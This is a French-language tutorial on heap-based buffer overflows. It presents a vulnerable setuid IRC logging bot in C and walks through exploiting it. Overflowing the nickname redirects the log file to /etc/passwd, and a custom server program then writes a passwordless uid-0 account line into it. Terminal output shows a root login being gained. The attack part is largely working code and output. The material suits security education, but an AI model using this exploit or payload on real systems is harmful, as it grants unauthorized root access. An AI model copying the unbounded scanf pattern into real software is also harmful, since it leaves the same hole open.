Débordement de tampon - dans le tas    Enregistrer au format PDF

Les deux types d’exploitation qui suivent (basés sur l’overflow dans les segments bss et heap) sont légèrement différents du stack-based overflow. Dans celui-ci, le but ultime est finalement d’écraser l’adresse de retour pour changer le flux d’éxécution du programme. Dans le cas que nous allons traiter, les cas de dépassement de mémoire dans le heap, il n’y a plus possibilité de déterminer l’éloignement de cette adresse de retour.


par S3cur3D

Les deux types d’exploitation qui suivent (basés sur l’overflow dans les segments bss et heap) sont légèrement différents du stack-based overflow. Dans celui-ci, le but ultime est finalement d’écraser l’adresse de retour pour changer le flux d’éxécution du programme. Dans le cas que nous allons traiter, les cas de dépassement de mémoire dans le heap, il n’y a plus possibilité de déterminer l’éloignement de cette adresse de retour. Par conséquent, les overflows dans le heap reposent sur les variables stockées après le buffer. Plus que jamais, il est nécessaire non seulement d’être inventif pour savoir comment exploiter ce type de faille, mais surtout, il faut avoir une vision claire du déroulement du programme et savoir analyser les répercussions que peuvent avoir le changement de certaines variables sur le reste du programme. Bien qu’il n’y ait pas d’exemples d’école comme il a pu y en avoir dans le cas des overflows sur pile, nous avons décidé de donner un exemple d’exploitation commun, à savoir le dépassement de mémoire sur le nom d’un fichier qui permet l’ouverture d’un compte root par l’écriture dans le fichier /etc/passwd.
Je note ici que les overflows dans le heap sont les plus courant et souvent les plus difficiles à exploiter : les erreurs d’utilisation de malloc()/free() ou new/delete en C++ sont les plus fréquents et leurs exploitations très spécifiques. Il est souvent possible d’en obtenir une exécution arbitraire à la manière de l’article précédent, mais cela demande une connaissance bien plus fine des mécanismes de réservation dans le heap utilisés.

Un exemple d’exploitation

Le programme qui suit est le début d’un robot IRC. La particularité qu’a ce robot est qu’il loggue (enregistre) tout ce qu’il reçoit dans le fichier /tmp/irc_logs. Pour que tout le monde puisse l’utiliser comme il l’entend, le programme est un SRP.
Voici le code :

  1. //irc-logger.c : Bot de log IRC
  2.  
  3. #include <stdio.h> //Nécessaire au FILE
  4.  
  5. #include <netdb.h> //Bloc Fonctions Sockets
  6. #include <arpa/inet.h>
  7. #include <netinet/in.h>
  8. #include <sys/types.h>
  9.    #include <sys/socket.h>
  10. #include <sys/ioctl.h>
  11. #define h_addr h_addr_list[0]
  12.  
  13. typedef enum { false, true } bool; //Definition du type booléen
  14.  
  15. int vrecv(int);  //Déclaration des prototypes des fonctions utilisées
  16. bool debloq_sock(int);
  17. bool cnect(int,char *,int);
  18. int recu(int,char *);
  19. void erreur(void);
  20.  
  21. int main() {
  22.  
  23.         int sock = socket(AF_INET, SOCK_STREAM,0); //Identifiant de la connexion
  24.         int bytesRecv; //Nombre de bytes reçues pendant un envoi du serveur distant
  25.  
  26.         char *messages = malloc(500),*bufferRecv = malloc(1024); //Buffers d'envoi et de réception
  27.  
  28.         FILE *log; //Identifiant du fichier
  29.        
  30.         char *serveur = malloc(30); //Nom du serveur
  31.         int port; //Port
  32.        
  33.         char *pseudo_bot = malloc(30); //Pseudo du bot
  34.        
  35.         char *fichier_log = malloc(15); //Nom du fichier de logs
  36.         strcpy(fichier_log,"/tmp/irc_logs");   
  37.        
  38.         printf("Veuillez entrer l'adresse du serveur :\t"); //Demande d'informations à l'utilisateur
  39.         scanf("%s",serveur);   
  40.         printf("Veuillez entrer le port du serveur :\t");
  41.         scanf("%d",&port);
  42.         printf("\nVeuillez entrer le pseudo du bot :\t");
  43.         scanf("%s",pseudo_bot);
  44.        
  45.         printf("\nConnexion à %s:%d... ",serveur,port);       
  46.        
  47.         if (cnect(sock,serveur,port) > 0) { //Si la connexion a réussi...
  48.        
  49.                         printf("Ouverture du fichier %s... ",fichier_log,serveur,pseudo_bot);   //Ouverture du fichier
  50.                         if ((log = fopen(fichier_log,"at")) == NULL) erreur(); 
  51.                         printf("Ok\n\n");      
  52.                        
  53.                         strcpy(messages,"NICK "); //Ecriture et envoi du message d'authentification au serveur
  54.                         strcat(messages,pseudo_bot);
  55.                         strcat(messages,"\r\nUSER ");
  56.                         strcat(messages,pseudo_bot);
  57.                         strcat(messages," . . :");
  58.                         strcat(messages,pseudo_bot);
  59.                         strcat(messages,"\r\n");                       
  60.                 printf("Envoi : %s\n",messages);  
  61.                         send(sock,messages,strlen(messages),0);
  62.                        
  63.                         while (1) //Reception de tous les messages jusqu'à déconnexion (Ping Timeout)
  64.                                 switch(recu(sock,bufferRecv)) { //A-t-on reçu quelque chose ?
  65.                                         case -2: //La connexion n'est pas active
  66.                                         case -1: break; //Non
  67.                                         case 0: printf("Fermeture de la connexion\n"); exit(0); break; //La connexion vient de se terminer
  68.                                    default: //Oui, on l'écrit (+ traitement des données)
  69.                                         fprintf(log,"%s\n",bufferRecv);
  70.                                 }      
  71.                                        
  72.         }
  73.         else erreur();
  74.        
  75.         free(bufferRecv); //On libère toute la mémoire qu'on a pu réserver
  76.         free(pseudo_bot);      
  77.         free(messages);
  78.         free(serveur);
  79.         free(fichier_log);     
  80.        
  81.         close(sock);    //On ferme la connexion
  82.        
  83.         fclose(log); //On ferme le fichier
  84.        
  85.         return 0;
  86. }
  87.  
  88. bool cnect(int sock,char *hote,int port) { //Fonction de connexion à un serveur et un port donné
  89.         if (sock > 0) {
  90.                 struct sockaddr_in clientService;
  91.       clientService.sin_family = AF_INET;
  92.       struct hostent *HostInfo;
  93.       if (HostInfo = gethostbyname(hote)) { //Résoud le nom d'hôte
  94.         struct in_addr **a;  
  95.          a=(struct in_addr **)HostInfo->h_addr_list;
  96.          if (*a) {          
  97.                 clientService.sin_addr.s_addr = inet_addr(inet_ntoa(**a));
  98.                 clientService.sin_port = htons( port );
  99.          }
  100.          else { close(sock); printf("Echec de résolution\n"); }
  101.       }
  102.       else { close(sock); printf("Echec de résolution\n"); }
  103.       if ( connect( sock,(struct sockaddr*) &clientService, sizeof(clientService) ) == -1) { //Connexion
  104.                         close(sock);           
  105.         return false;
  106.       }
  107.                 else    if (debloq_sock(sock)) return true;    
  108.                                 else {
  109.                                         printf("Erreur dans le débloquage du socket\n");
  110.                                         return false;
  111.                                 }
  112.         }
  113.         else printf("Erreur d'initialisation du socket\n");
  114.         close(sock);
  115.         return false;
  116. }
  117.  
  118. int recu(int sock,char *bufferRecv) { //A-t-on reçu qqch sur cette socket non-bloquante ?
  119.  
  120.    int bytesRecv=-2;
  121.  
  122.         if(vrecv(sock) > 0) {
  123.  
  124.                 bytesRecv=-1;
  125.      
  126.         if((bytesRecv = recv(sock,bufferRecv,1024,0)) > 0)
  127.                 bufferRecv[bytesRecv] = 0;
  128.            
  129.         return bytesRecv;
  130.         }
  131. }
  132.  
  133. int vrecv(int sock) { //Vérifie que l'ensemble des données du socket est encore actif
  134.           fd_set ensemble;
  135.           FD_ZERO(&ensemble);
  136.           FD_SET(sock,&ensemble);
  137.           return FD_ISSET(sock,&ensemble);
  138. }
  139.  
  140. bool debloq_sock(int sock) { //Debloquage d'un socket
  141.           u_long argp=1;
  142.           printf("Ok\nCréation d'un socket non-bloquant... ");
  143.           ioctl(sock, FIONBIO, &argp);
  144.           if (!argp) {
  145.              printf("Echec\nSocket non-bloquant, deuxi%cme tentative\n",132);
  146.              ioctl(sock, FIONBIO, &argp);
  147.           }
  148.           if (!argp) { printf("Echec\n"); return false; }
  149.           printf("Ok\n"); return true;
  150. }
  151.  
  152. void erreur() {
  153.  
  154.         printf("Echec\nFermeture du programme\n");
  155.         exit(1);
  156. }

Télécharger

Voici un exemple d’éxécution de ce programme et le contenu de /tmp/irc_logs après coup :

   $ ./irc-logger
   Veuillez entrer l'adresse du serveur : irc.freenode.org
   Veuillez entrer le port du serveur : 6667

   Veuillez entrer le pseudo du bot : testbot

   Connexion à irc.freenode.org:6667... Ok
   Création d'un socket non-bloquant... Ok
   Ouverture du fichier /tmp/irc_logs... Ok

   Envoi : NICK testbot
   USER testbot . . :testbot

   Fermeture de la connexion
   $ cat /tmp/irc_logs
   NOTICE AUTH :*** Looking up your hostname...

   NOTICE AUTH :*** Checking ident
   NOTICE AUTH :*** No identd (auth) response

   NOTICE AUTH :*** Found your hostname

   :heinlein.freenode.net 433 * testbot :Nickname is already in use.

   ERROR :Closing Link: 127.0.0.1 (Connection Timed Out)

   $

Apparemment le bot fonctionne bien : il se connecte, envoie bien les bons messages, les reçoit et sais reconnaître quand la connexion est rompue. Maintenant, avec nos connaissance sur la segmentation de la mémoire d’un programme, on voit que les deux buffers pseudo_bot et fichier_log se suivent dans le heap. Par conséquent, un overflow de pseudo_bot sur fichier_log devrait nous permettre de changer le fichier de logs dont se sert le bot. Avant de vérifier ce que nous venons de dire, il nous faut parler de l’allocation de mémoire par les compilateurs. En fait, un compilateur n’alloue pas le nombre de bytes exact qui est demandé : il alloue le nombre de byte arrondi au multiplicteur de 16 le plus proche plus 8 bytes. Autrement dit, dans notre cas, le buffer pseudo_bot est composé de ses 30 bytes demandés, plus 2 pour aller au prochain multiplicateur de 16 (32) plus 8 bytes. On a donc un espace alloué de 40 bytes. Les 10 bytes qui sont réservées entre l’espace du buffer et le prochain bloc alloué (ici du 31eme byte au 40eme) sont appellées les dummy bytes ou octets factices. Nous n’allons pas discuter leur intérêt ici, mais il faut savoir qu’elles existent. Ainsi, l’overflow avant le fichier vers lequel on veut rediriger les logs doit être long de 40 bytes exactement. En voici l’illustration :

   $ ./irc-logger
   Veuillez entrer l'adresse du serveur : irc.freenode.org
   Veuillez entrer le port du serveur : 6667

   Veuillez entrer le pseudo du bot : aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test

   Connexion à irc.freenode.org:6667... Ok
   Création d'un socket non-bloquant... Ok
   Ouverture du fichier /tmp/test... Ok

   Envoi : NICK aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
   USER aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test . . :aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test

   //Ici, on a demandé au programme de se terminer avec Ctrl + C, d'où l'absence de messages
   $ cat /tmp/test
   NOTICE AUTH :*** Looking up your hostname...

   NOTICE AUTH :*** Checking ident
   NOTICE AUTH :*** Found your hostname

   NOTICE AUTH :*** No identd (auth) response
   :kornbluth.freenode.net 001 aqwzsxedcrfvtgby :Welcome to the freenode IRC Network aqwzsxedcrfvtgby
   :kornbluth.freenode.net 002 aqwzsxedcrfvtgby :Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
   NOTICE aqwzsxedcrfvtgby :*** Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
   :kornbluth.freenode.net 003 aqwzsxedcrfvtgby :This server was created Fri Dec 22 00:08:18 UTC 2006
   //La suite du texte a été coupée

Ainsi, nous avons facilement atteint notre premier objectif qui était de pouvoir modifier librement le nom du fichier dans lequel étaient stockées les logs. Notre deuxième objectif est de contrôler ce qui est reçu. Pourquoi ne pas créer notre propre serveur qui enverra les lignes que nous voulons dans le fichier ? Cela relève plutôt de la technique de programmation plutôt que de la connaissance de la mémoire, mais nous avons choisi de vous le montrer en tant que complément du programme de connexion client qu’est Irc-logger. Voici donc le code de notre serveur :

  1. //serveur.c : Exemple de serveur primaire
  2.  
  3. #include <netdb.h> //Bloc Fonctions Sockets
  4. #include <arpa/inet.h>
  5. #include <netinet/in.h>
  6. #include <sys/types.h>
  7.    #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #define h_addr h_addr_list[0]
  10.  
  11. typedef enum { false, true } bool; //Definition du type booléen
  12.  
  13. #define PORT 6667 //Le serveur écoutera sur le port 6667
  14. //#define ENVOI "Hello you\r\n" //Ligne à envoyer pour le premier test
  15. #define ENVOI "compteperso::0:0:root:/root:/bin/bash\n\r\n" //Ligne à envoyer pour l'écriture dans /etc/passwd
  16.  
  17.  
  18. bool serv_cnect(int);
  19.  
  20. int main() {
  21.  
  22.         int sock=socket(AF_INET, SOCK_STREAM,0),sock_client;
  23.         bool bvar=true;
  24.         size_t taille_clientService;
  25.         struct sockaddr_in clientService;
  26.  
  27.         if (serv_cnect(sock)) {
  28.                 printf("Serveur démarré sur le port %d\n",PORT);
  29.                 while(bvar)     {
  30.                         taille_clientService = sizeof(taille_clientService);
  31.                         if ((sock_client = accept(sock,(struct sockaddr*) &clientService, &taille_clientService))) {
  32.                                 printf("Connexion entrante de %s\n",inet_ntoa(clientService.sin_addr));
  33.                                 send(sock_client,ENVOI,strlen(ENVOI),0);
  34.                                 printf("H4ck3d !\n");
  35.                                 bvar = false;
  36.                         }
  37.                 }
  38.         }
  39.         else printf("Echec de la création du serveur...\nFermeture du programme\n");
  40.        
  41.         close(sock_client);
  42.         close(sock);
  43.                                
  44.         return 0;
  45. }
  46.  
  47. bool serv_cnect(int sock) {
  48.  
  49.         if (sock > 0) {
  50.        
  51.                 struct sockaddr_in servService;
  52.       servService.sin_family = AF_INET;
  53.       servService.sin_addr.s_addr = htonl(INADDR_ANY);
  54.       servService.sin_port = htons( PORT );
  55.      
  56.       if ( bind( sock,(struct sockaddr*) &servService, sizeof(servService) ) == -1) { //Connexion
  57.                         close(sock);           
  58.         return false;
  59.       }
  60.                 else    if (!listen(sock,1)) return true;
  61.                                 else { printf("Echec du démarrage de l'écoute\n"); close(sock); return false; }
  62.                                
  63.         }
  64.         else printf("Erreur d'initialisation du socket\n");
  65.         close(sock);
  66.        
  67.         return false;
  68. }

Télécharger

Maintenant, on démarre le serveur et on essaie de le contacter avec le bot :

   $gcc -o serveur serveur.c
   $ ./serveur
   Serveur démarré sur le port 6667
   Connexion entrante de 213.186.33.87
   H4ck3d !
   $

Par ailleurs :

   $ ./irc-logger
   Veuillez entrer l'adresse du serveur : localhost
   Veuillez entrer le port du serveur : 6667

   Veuillez entrer le pseudo du bot : testbot

   Connexion à localhost:6667... Ok
   Création d'un socket non-bloquant... Ok
   Ouverture du fichier /tmp/irc_logs... Ok

   Envoi : NICK testbot
   USER testbot . . :testbot

   Fermeture de la connexion
   $ cat /tmp/irc_logs
   Hello you

   $

On est donc capable de contrôler à la fois où le programme écrit et ce qu’il écrit. Penchons-nous maintenant vers le fichier /etc/passwd. Voici deux lignes typiques de ce genre de fichier :

   root:x:0:0:root:/root:/bin/bash
   SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash

Ce sont donc des groupes séparés par des caractères 😊 Le premier groupe (dans la deuxième ligne de l’exemple, "SeriousHack") est le login. Le deuxième est soit un x, soit rien, ce qui signifie respectivement qu’il y a besoin d’un mot de passe ou non pour être authentifié avec ce login. Les deux groupes suivant sont l’user id et le group id. Le prochain groupe est une série d’informations sans trop d’importance. L’avant-dernier groupe est le répertoire personnel ou home de l’utilisateur et enfin, le dernier groupe représente le shell, en général /bin/bash.
Mais que ce passerait-il si on essayait d’ajouter la ligne compteperso::0:0:root :/root :/bin/bash au fichier ? Et bien essayons ! On change ENVOI avec la ligne que l’on veut ajouter à /etc/passwd et on lance le serveur. On éxécute ensuite l’overflow sur le bot IRC :

   $ ./irc-logger
   Veuillez entrer l'adresse du serveur : localhost
   Veuillez entrer le port du serveur : 6667

   Veuillez entrer le pseudo du bot : azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd

   Connexion à localhost:6667... Ok
   Création d'un socket non-bloquant... Ok
   Ouverture du fichier /etc/passwd... Ok

   Envoi : NICK azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
   USER azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd . . :azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd

   Fermeture de la connexion

   $ cat /etc/passwd
   root:x:0:0:root:/root:/bin/bash
   SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash
   compteperso::0:0:root:/root:/bin/bash

L’ajout de la ligne a bien marché, il ne nous reste plus qu’à vérifier si la théorie que nous avons raconté n’est pas finalement fausse 😉 Puisque dans les versions récentes la commande su demande toujours un mot de passe, il peut être nécessaire de se loguer sur l’un des ttys :

   Debian GNU/Linux lenny/sid SeriousHack tty3

   SeriousHack login: compteperso
   Linux SeriousHack 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686

   SeriousHack:~#logname && whoami && id
   compteperso
   root
   uid=0(root) gid=0(root) groupes=0(root)
   SeriousHack:~#

Donc apparemment tout a bien marché comme prévu. Cet exemple n’est pas typique des heap-based overflow, comme nous l’avons expliqué, il répond à une situation particulière et c’est pourquoi tout le monde n’est pas capable d’utiliser des overflows dans le heap car cela demande une inventivité et une compréhension assez développées. Ceci dit, cet exemple a aussi permit de voir une nouvelle technique de prise de contrôle du système (bon, légèrement obsolète..), à savoir l’utilisation de /etc/passwd à travers les SRP ainsi que la programmation client/serveur en sockets qui est une arme incontournable de la programmation d’accès à distance.

Documentations publiées dans cette rubrique